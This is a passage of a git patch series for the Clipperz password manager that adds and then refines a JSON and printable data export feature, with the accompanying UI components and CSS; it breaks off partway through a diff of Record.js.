From b812ea4efbc382c972ef79ffa5d3020082474b7e Mon Sep 17 00:00:00 2001 From: Dario Chiappetta Date: Mon, 20 Apr 2015 18:18:22 +0200 Subject: [PATCH 1/4] Added Export feature --- .../js/Clipperz/PM/DataModel/DirectLogin.js | 2 + .../Clipperz/PM/DataModel/Record.Version.js | 29 ++ .../delta/js/Clipperz/PM/DataModel/Record.js | 59 ++++ .../UI/Components/ExtraFeatures/DataExport.js | 51 +++ .../Components/Panels/ExtraFeaturesPanel.js | 2 +- .../js/Clipperz/PM/UI/ExportController.js | 301 ++++++++++++++++++ .../delta/js/Clipperz/PM/UI/MainController.js | 10 + .../delta/properties/delta.properties.json | 2 + 8 files changed, 455 insertions(+), 1 deletion(-) create mode 100644 frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js create mode 100644 frontend/delta/js/Clipperz/PM/UI/ExportController.js diff --git a/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js b/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js index b8f7bc5..482c13d 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/DirectLogin.js @@ -233,6 +233,8 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.DirectLogin, Object, { 'serializedData': function () { return Clipperz.Async.collectResults("DirectLogin.serializedData", { + 'favicon': MochiKit.Base.method(this,'favicon'), + 'label': MochiKit.Base.method(this,'label'), 'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'), 'formData': MochiKit.Base.method(this, 'getValue', 'formData'), 'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'), diff --git a/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js b/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js index 09efa97..da960b9 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js @@ -316,6 +316,35 @@ console.log("Record.Version.hasPendingChanges"); * / }, */ + + //========================================================================= + + // TODO: this function may mix up the order of the fields + 'exportFields': function() { + var deferredResult; + var fields; + + deferredResult = new Clipperz.Async.Deferred('Record.Version.export', {trace:false}); + deferredResult.addMethod(this,'fields'); + deferredResult.addCallback(MochiKit.Base.values); + deferredResult.addCallback(MochiKit.Base.map, function(fieldIn) { + return fieldIn.content(); + }); + deferredResult.addCallback(Clipperz.Async.collectAll); + deferredResult.addCallback(function(listIn) { + return listIn.reduce(function(result, field) { + var ref = field.reference; + result[ref] = field; + delete result[ref].reference; + return result; + }, {}); + }); + + deferredResult.callback(); + + return deferredResult; + }, + //========================================================================= __syntaxFix__: "syntax fix" }); diff --git a/frontend/delta/js/Clipperz/PM/DataModel/Record.js b/frontend/delta/js/Clipperz/PM/DataModel/Record.js index 30905d4..aa3311b 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/Record.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/Record.js @@ -1169,6 +1169,65 @@ console.log("Record.hasPendingChanges RESULT", result); ], {trace:false}); }, + //========================================================================= + + 'exportDirectLogins': function() { + var result; + + var directLoginsObject = this.directLogins(); + + if (Object.keys(directLoginsObject).length == 0) { + result = {}; + } else { + var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) { + previous[current] = MochiKit.Base.method( directLoginsObject[current], 'serializedData' ); + return previous; + }, {}); + + result = Clipperz.Async.collectResults("Record.exportDirectLogins",callbackObject,{trace:false})(); + } + + return result; + }, + + 'export': function() { + var deferredResult; + var label; + var data; + var currentVersion; + var directLogins; + var currentVersionObject; + + data = {}; + currentVersion = {}; + directLogins = {}; + deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false}); + deferredResult.addMethod(this,'getCurrentRecordVersion'); + deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; }) + deferredResult.addMethod(this,'fullLabel'); + deferredResult.addMethod(this,function(labelIn) {label = labelIn}); + deferredResult.addMethod(this,'exportDirectLogins'); + deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; }); + deferredResult.addCallback(function() { return currentVersionObject.getKey(); }), + deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; }); + deferredResult.addMethod(this,'notes'); + deferredResult.addMethod(this,function(notesIn) { data['notes'] = notesIn; }); + deferredResult.addMethod(this,function() { currentVersion['reference'] = this.currentVersionReference(); }); + deferredResult.addCallback(function() { return currentVersionObject.exportFields(); }), + deferredResult.addCallback(function(fieldsIn) { currentVersion['fields'] = fieldsIn; }); + deferredResult.addMethod(this,function() { + return { + 'label': label, + 'data': data, + 'currentVersion': currentVersion + }; + }); + + deferredResult.callback(); + + return deferredResult; + }, + //========================================================================= __syntaxFix__: "syntax fix" }); diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js new file mode 100644 index 0000000..13ebe3f --- /dev/null +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js @@ -0,0 +1,51 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +"use strict"; +Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures'); + +Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass = React.createClass({ + + propTypes: { +// featureSet: React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired, +// 'level': React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired + }, + + //========================================================================= + + render: function () { + return React.DOM.div({className:'extraFeature devicePIN'}, [ + React.DOM.h1({}, "Export"), + React.DOM.p({'className': 'link', 'onClick': MochiKit.Base.method(this, function(){ + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export','json'); + })}, "JSON"), + React.DOM.p({'className': 'link', 'onClick': MochiKit.Base.method(this, function(){ + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'export','printable'); + })}, "Printable version") + ]); + }, + + //========================================================================= +}); + +Clipperz.PM.UI.Components.ExtraFeatures.DataExport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataExportClass); diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js b/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js index 9e9bd7b..92609e5 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/Panels/ExtraFeaturesPanel.js @@ -195,7 +195,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({ React.DOM.p({}, "") ]) ]), - React.DOM.li({'key':'data_3'}, [ + React.DOM.li({'key':'data_3', 'onClick':this.showExtraFeatureComponent('DataExport')}, [ React.DOM.h2({}, "Export"), React.DOM.div({}, [ React.DOM.p({}, "") diff --git a/frontend/delta/js/Clipperz/PM/UI/ExportController.js b/frontend/delta/js/Clipperz/PM/UI/ExportController.js new file mode 100644 index 0000000..11c5207 --- /dev/null +++ b/frontend/delta/js/Clipperz/PM/UI/ExportController.js @@ -0,0 +1,301 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +Clipperz.Base.module('Clipperz.PM.UI'); + +Clipperz.PM.UI.ExportController = function(args) { + this._type = args['type'] || Clipperz.Base.exception.raise('MandatoryParameter'); + this._recordsInfo = args['recordsInfo'] || Clipperz.Base.exception.raise('MandatoryParameter'); + this._target = Clipperz.PM.Crypto.randomKey(); + + this._style = "body {"+ + " margin: 0;"+ + " padding: 0;"+ + " font-family: monospace;"+ + "}"+ + ""+ + "p {"+ + " padding-left: 1em;"+ + "}"+ + ""+ + "h1 {"+ + " color: #ff9900;"+ + " background: black;"+ + " box-shadow: 0px 5px 6px 0 rgba(0, 0, 0, 0.15);"+ + " margin: 0;"+ + " padding:1em;"+ + "}"+ + ""+ + ".progressBar {"+ + " position: absolute;"+ + " width: 100%;"+ + " margin-top: 0px;"+ + " "+ + "}"+ + ""+ + "#completed {"+ + " background: #ff9900;"+ + " color: white;"+ + " width: 0;"+ + " overflow: hidden;"+ + " font-size: 0.8em;"+ + " box-shadow: 0px 4px 6px 0 rgba(0, 0, 0, 0.15);"+ + "}"+ + ""+ + "#printableUl {"+ + " width:100%;"+ + " height:80%;"+ + " margin: 0;"+ + " padding: 0;"+ + " list-style-type: none;"+ + "}"+ + ""+ + "#printableUl li {"+ + " border: 1px solid #1863a1;"+ + " margin: 1em;"+ + ""+ + "}"+ + ""+ + "#printableUl li .label {"+ + " background: #1863a1;"+ + " color: white;"+ + " display: block;"+ + " padding: 1em;"+ + "}"+ + ""+ + "#printableUl li dl {"+ + " padding: 1em;"+ + "}"+ + ""+ + "#printableUl li dl dt {"+ + " color: darkgray;"+ + "}"+ + ""+ + "#printableUl li dl dd {"+ + " padding: 0;"+ + " margin: 0 0 .5em 0;"+ + "}"+ + ""+ + "#printableUl li .notes {"+ + " font-style: italic;"+ + " padding: 1em 0 0 1em;"+ + " display: block;"+ + "}"+ + ""; + + return this; +} + +MochiKit.Base.update(Clipperz.PM.UI.ExportController.prototype, { + + 'toString': function() { + return "Clipperz.PM.UI.ExportController"; + }, + + //----------------------------------------------------------------------------- + + 'type': function () { + return this._type; + }, + + 'recordsInfo': function () { + return this._recordsInfo; + }, + + 'target': function () { + return this._target; + }, + + //============================================================================= + + 'setWindowTitle': function (aWindow, aTitle) { + aWindow.document.title = aTitle; + }, + + 'setWindowBody': function (aWindow, anHTML) { + aWindow.document.body.innerHTML = anHTML; + }, + + //============================================================================= + + 'initialWindowSetup': function (aWindow) { + var dom = MochiKit.DOM.DIV({'id': 'main'}, + MochiKit.DOM.H1("Clipperz Exported Data (loading...)"), + MochiKit.DOM.DIV({'class': 'progressBar'}, + MochiKit.DOM.DIV({'id': 'completed'}, + MochiKit.DOM.P({'style': 'margin:0; padding:0; text-align:center;'}, MochiKit.DOM.SPAN({'id': 'nCompleted'},"0"),"/",MochiKit.DOM.SPAN({'id': 'nTotal'},"") ) + ) + ) + ); + + aWindow.document.getElementsByTagName('head')[0].appendChild( MochiKit.DOM.STYLE(this._style) ); + + this.setWindowTitle(aWindow, "Clipperz Exported Data (loading...)"); + this.setWindowBody (aWindow, MochiKit.DOM.toHTML(dom)); + }, + + //----------------------------------------------------------------------------- + + 'updateWindowWithHTMLContent': function (aWindow, anHtml) { + this.setWindowBody(aWindow, anHtml); + }, + + 'updateWindowJSON': function (aWindow, exportedJSON) { + var dom = MochiKit.DOM.DIV({'id': 'main'}, + MochiKit.DOM.H1("Clipperz Exported Data"), + MochiKit.DOM.P("You can now save the following data and load it at any time using the Clipperz import feature."), + MochiKit.DOM.TEXTAREA({'style': 'width:100%; height:80%'}, Clipperz.Base.serializeJSON(exportedJSON)) + ); + + this.setWindowTitle(aWindow, "Clipperz Exported Data"); + this.setWindowBody(aWindow, MochiKit.DOM.toHTML(dom)); + }, + + 'updateWindowPrintable': function (aWindow, exportedJSON) { + var dom = MochiKit.DOM.DIV({'id': 'main'}, + MochiKit.DOM.H1("Clipperz Exported Data"), + MochiKit.DOM.P("You can now print this page and store it in a safe place."), + MochiKit.DOM.UL({'id': 'printableUl'}, + exportedJSON.map(function(card){ + var label = (card.label.indexOf('')>=0) ? card.label.slice(0,card.label.indexOf('')).trim() : card.label; + var notes = (card.data.notes) ? MochiKit.DOM.SPAN({'class': 'notes'}, card.data.notes) : ""; + + return MochiKit.DOM.LI({}, + MochiKit.DOM.SPAN({'class': 'label'}, label), + notes, + MochiKit.DOM.DL({}, + Object.keys(card.currentVersion.fields).map(function(key) { + return [ + MochiKit.DOM.DT(card.currentVersion.fields[key].label), + MochiKit.DOM.DD(card.currentVersion.fields[key].value), + ]; + }) + ) + ); + }) + ) + ); + + this.setWindowTitle(aWindow, "Clipperz Exported Data"); + this.setWindowBody(aWindow, MochiKit.DOM.toHTML(dom)); + }, + + 'updateWindowError': function (aWindow, errorMessage) { + this.setWindowBody(aWindow, + "

Error

"+ + "

The following error occured while exporting your data:

"+ + ""+errorMessage+"" + ); + }, + + //============================================================================= + + 'runExportJSON': function (aWindow) { + var deferredResult; + var exportedRecords; + + var totalRecords = this.recordsInfo().length; + + exportedRecords = 0; + + deferredResult = new Clipperz.Async.Deferred("DirectLoginRunner.exportJSON", {trace:false}); + deferredResult.addMethod(this, 'initialWindowSetup', aWindow); + deferredResult.addCallback(function() { return "Export Data"}); + deferredResult.addMethod(this, 'setWindowTitle', aWindow); + + deferredResult.addMethod( this, function() { return this.recordsInfo(); }); + deferredResult.addCallback( MochiKit.Base.map, function(recordIn) { + var dr = new Clipperz.Async.Deferred("DirectLoginRunner.exportJSON__exportRecord", {trace:false}); + dr.addMethod(recordIn._rowObject, 'export'); + dr.addCallback(MochiKit.Base.method(this, function (exportedRecord) { + var percentage = Math.round(100*exportedRecords/totalRecords); + + aWindow.document.getElementById('nCompleted').innerText = ++exportedRecords; + aWindow.document.getElementById('nTotal').innerText = totalRecords; + aWindow.document.getElementById('completed').style.width = percentage+'%'; + + return exportedRecord; + })); + dr.callback(); + return dr; + }); + + deferredResult.addCallback(Clipperz.Async.collectAll); + deferredResult.addMethod( this, function(exportedJSONIn) { +// console.log('return',exportedJSONIn); + + sortedJSON = exportedJSONIn.sort( function(a,b) { return a.label.toUpperCase().localeCompare(b.label.toUpperCase()); } ); + + switch (this.type()) { + case 'json': + this.updateWindowJSON(aWindow,exportedJSONIn); + break; + case 'printable': + this.updateWindowPrintable(aWindow,exportedJSONIn); + break; + default: + this.updateWindowError(aWindow,"ExportController.runExportJSON: invalid value '"+this.type()+"' for parameter 'type'."); + } + }); + + deferredResult.callback(); + + return deferredResult; + }, + + //============================================================================= + + 'run': function () { + var newWindow; + + newWindow = window.open("", this.target()); + + return this.runExportJSON(newWindow); + }, + + //============================================================================= + + 'test': function () { + var iFrame; + var newWindow; + + iFrame = MochiKit.DOM.createDOM('iframe'); + MochiKit.DOM.appendChildNodes(MochiKit.DOM.currentDocument().body, iFrame); + + newWindow = iFrame.contentWindow; + + return this.runDirectLogin(newWindow); + }, + + //============================================================================= + __syntaxFix__: "syntax fix" +}); + +//----------------------------------------------------------------------------- + +Clipperz.PM.UI.ExportController.exportJSON = function (recordsInfoIn, typeIn) { + var runner; + + runner = new Clipperz.PM.UI.ExportController({type:typeIn, recordsInfo: recordsInfoIn}); + return runner.run(); +}; diff --git a/frontend/delta/js/Clipperz/PM/UI/MainController.js b/frontend/delta/js/Clipperz/PM/UI/MainController.js index 255a149..7b8a5cb 100644 --- a/frontend/delta/js/Clipperz/PM/UI/MainController.js +++ b/frontend/delta/js/Clipperz/PM/UI/MainController.js @@ -63,6 +63,7 @@ Clipperz.PM.UI.MainController = function() { this.registerForNotificationCenterEvents([ 'doLogin', 'registerNewUser', 'showRegistrationForm', 'goBack', 'changePassphrase', 'deleteAccount', + 'export', 'toggleSelectionPanel', 'toggleSettingsPanel', 'matchMediaQuery', 'unmatchMediaQuery', 'selectAllCards', 'selectRecentCards', 'search', 'tagSelected', 'selectUntaggedCards', @@ -499,6 +500,9 @@ console.log("THE BROWSER IS OFFLINE"); deferredResult = new Clipperz.Async.Deferred('MainController.updateSelectedCard', {trace:false}); deferredResult.addMethod(this.user(), 'getRecord', someInfo['reference']); + +// deferredResult.addMethod(this, function(d) {console.log(d); return d;}); + deferredResult.addMethod(this, 'collectRecordInfo'); deferredResult.addMethod(this, 'setPageProperties', 'mainPage', 'selectedCard'); @@ -1234,6 +1238,12 @@ console.log("THE BROWSER IS OFFLINE"); this.updateSelectedCard({'reference':aRecordReference}, false, true); }, + //---------------------------------------------------------------------------- + + export_handler: function(exportType) { + return Clipperz.PM.UI.ExportController.exportJSON( this.recordsInfo(), exportType ); + }, + //---------------------------------------------------------------------------- changePassphrase_handler: function(newPassphrase) { diff --git a/frontend/delta/properties/delta.properties.json b/frontend/delta/properties/delta.properties.json index efc063d..bbfa4a4 100644 --- a/frontend/delta/properties/delta.properties.json +++ b/frontend/delta/properties/delta.properties.json @@ -170,6 +170,7 @@ "Clipperz/PM/UI/Components/ExtraFeatures/DevicePIN.js", "Clipperz/PM/UI/Components/ExtraFeatures/Passphrase.js", "Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js", + "Clipperz/PM/UI/Components/ExtraFeatures/DataExport.js", "Clipperz/PM/UI/Components/Cards/FavIcon.js", "Clipperz/PM/UI/Components/Cards/List.js", @@ -186,6 +187,7 @@ "Clipperz/PM/UI/MainController.js", "-- Clipperz/PM/UI/MainDesktopController.js", "Clipperz/PM/UI/DirectLoginController.js", + "Clipperz/PM/UI/ExportController.js", "main.js" ], From e329f6926a1d86943f5c44cc6c01942efcf8d9bd Mon Sep 17 00:00:00 2001 From: Giulio Cesare Solaroli Date: Thu, 7 May 2015 16:23:57 +0200 Subject: [PATCH 2/4] Reviewed and improved export feature --- frontend/delta/css/clipperz.css | 167 ++++--- frontend/delta/html/index_template.html | 1 + .../Clipperz/PM/DataModel/Record.Version.js | 5 +- .../delta/js/Clipperz/PM/DataModel/Record.js | 96 ++-- .../UI/Components/ExtraFeatures/DataExport.js | 71 ++- .../Components/ExtraFeatures/DeleteAccount.js | 26 +- .../UI/Components/ExtraFeatures/DevicePIN.js | 4 +- .../UI/Components/ExtraFeatures/Passphrase.js | 34 +- .../js/Clipperz/PM/UI/Components/Overlay.js | 23 +- .../Components/Panels/ExtraFeaturesPanel.js | 45 +- .../js/Clipperz/PM/UI/ExportController.js | 437 +++++++++--------- .../delta/js/Clipperz/PM/UI/MainController.js | 28 +- frontend/delta/js/FileSaver/Blob.js | 234 ++++++++++ frontend/delta/js/FileSaver/FileSaver.js | 271 +++++++++++ .../delta/properties/delta.properties.json | 3 + frontend/delta/scss/core/layout.scss | 19 +- frontend/delta/scss/core/overlay.scss | 17 + frontend/delta/scss/style/settingsPanel.scss | 188 +++++--- 18 files changed, 1195 insertions(+), 474 deletions(-) create mode 100644 frontend/delta/js/FileSaver/Blob.js create mode 100644 frontend/delta/js/FileSaver/FileSaver.js diff --git a/frontend/delta/css/clipperz.css b/frontend/delta/css/clipperz.css index 2c6fab1..16b9b6a 100644 --- a/frontend/delta/css/clipperz.css +++ b/frontend/delta/css/clipperz.css @@ -469,6 +469,21 @@ div.overlay { -ms-animation-delay: -0.0833s; -o-animation-delay: -0.0833s; animation-delay: -0.0833s; } + div.overlay .progressBar { + width: 100%; + background-color: #222; + height: 4px; + margin-top: 86px; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; } + div.overlay .progressBar .progress { + background-color: #999; + height: 4px; + display: block; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; } @-webkit-keyframes overlay-spin { from { @@ -851,7 +866,8 @@ html { -moz-flex: auto; -ms-flex: auto; flex: auto; - overflow: auto; } + overflow: scroll; + -webkit-overflow-scrolling: touch; } #extraFeaturesPanel .extraFeatureIndex footer { -webkit-box-flex: none; -webkit-flex: none; @@ -869,6 +885,12 @@ html { width: 100%; height: 100%; background-color: black; } + #extraFeaturesPanel .extraFeatureContent .extraFeature { + height: 100%; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .content { + height: 100%; + overflow: scroll; + -webkit-overflow-scrolling: touch; } .container { height: 100%; @@ -2015,6 +2037,8 @@ span.count { background-color: #333; } #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li > div { padding: 4px; } + #extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.offlineCopy { + cursor: default; } #extraFeaturesPanel .extraFeatureIndex > div ul li h2 { font-weight: 300; font-size: 14pt; } @@ -2091,65 +2115,88 @@ span.count { #extraFeaturesPanel .extraFeatureContent .extraFeature h1 { font-size: 20pt; padding-bottom: 20px; } - #extraFeaturesPanel .extraFeatureContent form label { - display: none; } - #extraFeaturesPanel .extraFeatureContent form input { - display: block; - font-size: 18pt; - margin-bottom: 8px; - padding: 6px 10px; - border: 0px solid white; - width: 350px; - color: black; } - #extraFeaturesPanel .extraFeatureContent form input.invalid { - border: 0px solid #ff9900; - color: gray; } - #extraFeaturesPanel .extraFeatureContent form p { - display: -webkit-box; - display: -webkit-flex; - display: -moz-flex; - display: -ms-flexbox; - display: flex; - -webkit-box-direction: normal; - -webkit-box-orient: horizontal; - -webkit-flex-direction: row; - -moz-flex-direction: row; - -ms-flex-direction: row; - flex-direction: row; } - #extraFeaturesPanel .extraFeatureContent form p input { - width: 30px; - -webkit-box-flex: auto; - -webkit-flex: auto; - -moz-box-flex: auto; - -moz-flex: auto; - -ms-flex: auto; - flex: auto; } - #extraFeaturesPanel .extraFeatureContent form p span { - -webkit-box-flex: auto; - -webkit-flex: auto; - -moz-box-flex: auto; - -moz-flex: auto; - -ms-flex: auto; - flex: auto; - font-size: 12pt; } - #extraFeaturesPanel .extraFeatureContent form button { - font-family: "clipperz-font"; - color: white; - font-size: 14pt; - border: 0px; - margin-top: 20px; - padding: 6px 10px; - border: 1px solid white; - background-color: #ff9900; - -webkit-transition: background-color font-weight 0.2s linear; - -moz-transition: background-color font-weight 0.2s linear; - -o-transition: background-color font-weight 0.2s linear; - -ms-transition: background-color font-weight 0.2s linear; - transition: background-color font-weight 0.2s linear; } - #extraFeaturesPanel .extraFeatureContent form button:disabled { - font-weight: 100; - background-color: #c0c0c0; - cursor: default; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form label { + display: none; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form input { + display: block; + font-size: 18pt; + margin-bottom: 8px; + padding: 6px 10px; + border: 0px solid white; + width: 350px; + color: black; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form input.invalid { + border: 0px solid #ff9900; + color: gray; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form p { + display: -webkit-box; + display: -webkit-flex; + display: -moz-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-direction: normal; + -webkit-box-orient: horizontal; + -webkit-flex-direction: row; + -moz-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form p input { + width: 30px; + -webkit-box-flex: auto; + -webkit-flex: auto; + -moz-box-flex: auto; + -moz-flex: auto; + -ms-flex: auto; + flex: auto; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form p span { + -webkit-box-flex: auto; + -webkit-flex: auto; + -moz-box-flex: auto; + -moz-flex: auto; + -ms-flex: auto; + flex: auto; + font-size: 12pt; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form button { + font-family: "clipperz-font"; + color: white; + font-size: 14pt; + border: 0px; + margin-top: 20px; + padding: 6px 10px; + border: 1px solid white; + background-color: #ff9900; + -webkit-transition: background-color font-weight 0.2s linear; + -moz-transition: background-color font-weight 0.2s linear; + -o-transition: background-color font-weight 0.2s linear; + -ms-transition: background-color font-weight 0.2s linear; + transition: background-color font-weight 0.2s linear; } + #extraFeaturesPanel .extraFeatureContent .extraFeature form button:disabled { + font-weight: 100; + background-color: #c0c0c0; + cursor: default; } + #extraFeaturesPanel .extraFeatureContent .extraFeature ul { + color: white; } + #extraFeaturesPanel .extraFeatureContent .extraFeature ul li { + padding-bottom: 40px; } + #extraFeaturesPanel .extraFeatureContent .extraFeature h3 { + font-size: 18pt; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .description { + max-width: 500px; + padding: 10px 0px 20px 0px; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .description p { + font-size: 10pt; + margin-bottom: 7px; + line-height: 1.4em; + color: #bbb; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .description p em { + text-decoration: underline; } + #extraFeaturesPanel .extraFeatureContent .extraFeature .button { + display: inline; + color: white; + background-color: #ff9900; + font-size: 14pt; + border: 1px solid white; + padding: 6px 10px; } .mainPage.narrow #extraFeaturesPanel .extraFeatureContent header { display: block; diff --git a/frontend/delta/html/index_template.html b/frontend/delta/html/index_template.html index 6f6c166..4514f08 100644 --- a/frontend/delta/html/index_template.html +++ b/frontend/delta/html/index_template.html @@ -85,6 +85,7 @@ Clipperz_normalizedNewLine = '\x0d\x0a'; + loading diff --git a/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js b/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js index da960b9..db91fad 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/Record.Version.js @@ -332,12 +332,13 @@ console.log("Record.Version.hasPendingChanges"); }); deferredResult.addCallback(Clipperz.Async.collectAll); deferredResult.addCallback(function(listIn) { - return listIn.reduce(function(result, field) { +// return listIn.reduce(function(result, field) { + return MochiKit.Iter.reduce(function(result, field) { var ref = field.reference; result[ref] = field; delete result[ref].reference; return result; - }, {}); + }, listIn, {}); }); deferredResult.callback(); diff --git a/frontend/delta/js/Clipperz/PM/DataModel/Record.js b/frontend/delta/js/Clipperz/PM/DataModel/Record.js index aa3311b..5abe8c5 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/Record.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/Record.js @@ -45,9 +45,7 @@ Clipperz.PM.DataModel.Record = function(args) { this._createNewDirectLoginFunction = args.createNewDirectLoginFunction || null; this._tags = []; - this._directLogins = {}; - this._versions = {}; this._currentRecordVersion = null; @@ -163,34 +161,20 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt //............................................................................ - 'tagRegExp': function () { - return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g'); + 'extractLabelFromFullLabel': function (aValue) { + return Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aValue); }, - 'trimSpacesRegExp': function () { - return new RegExp('^\\s+|\\s+$', 'g'); + 'extractTagsFromFullLabel': function (aLabel) { + return Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aLabel); }, -// 'tagCleanupRegExp': function () { -// return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagSpace, 'g'); -// }, - //............................................................................ - 'filterOutTags': function (aValue) { - var value; - - value = aValue; - value = value.replace(this.tagRegExp(), ''); - value = value.replace(this.trimSpacesRegExp(), ''); - - return value; - }, - 'label': function () { return Clipperz.Async.callbacks("Record.label", [ MochiKit.Base.method(this, 'fullLabel'), - MochiKit.Base.method(this, 'filterOutTags') + MochiKit.Base.method(this, 'extractLabelFromFullLabel') ], {trace:false}); }, @@ -211,22 +195,6 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt //......................................................................... - 'extractTagsFromFullLabel': function (aLabel) { - var tagRegEx; - var result; - var match; - - result = {}; - tagRegEx = this.tagRegExp(); - match = tagRegEx.exec(aLabel); - while (match != null) { - result[match[1]] = true; - match = tagRegEx.exec(aLabel); - } - - return result; - }, - 'tags': function () { return Clipperz.Async.callbacks("Record.label", [ MochiKit.Base.method(this, 'fullLabel'), @@ -1173,10 +1141,9 @@ console.log("Record.hasPendingChanges RESULT", result); 'exportDirectLogins': function() { var result; - var directLoginsObject = this.directLogins(); - if (Object.keys(directLoginsObject).length == 0) { + if (MochiKit.Base.keys(directLoginsObject).length == 0) { result = {}; } else { var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) { @@ -1184,7 +1151,7 @@ console.log("Record.hasPendingChanges RESULT", result); return previous; }, {}); - result = Clipperz.Async.collectResults("Record.exportDirectLogins",callbackObject,{trace:false})(); + result = Clipperz.Async.collectResults("Record.exportDirectLogins", callbackObject,{trace:false})(); } return result; @@ -1202,20 +1169,20 @@ console.log("Record.hasPendingChanges RESULT", result); currentVersion = {}; directLogins = {}; deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false}); - deferredResult.addMethod(this,'getCurrentRecordVersion'); + deferredResult.addMethod(this, 'getCurrentRecordVersion'); deferredResult.addCallback(function(recordVersionIn) { currentVersionObject = recordVersionIn; }) - deferredResult.addMethod(this,'fullLabel'); - deferredResult.addMethod(this,function(labelIn) {label = labelIn}); - deferredResult.addMethod(this,'exportDirectLogins'); + deferredResult.addMethod(this, 'fullLabel'); + deferredResult.addMethod(this, function(labelIn) {label = labelIn}); + deferredResult.addMethod(this, 'exportDirectLogins'); deferredResult.addCallback(function(directLoginsIn) { data['directLogins'] = directLoginsIn; }); deferredResult.addCallback(function() { return currentVersionObject.getKey(); }), - deferredResult.addMethod(this,function(keyIn) { data['currentVersionKey'] = keyIn; }); - deferredResult.addMethod(this,'notes'); - 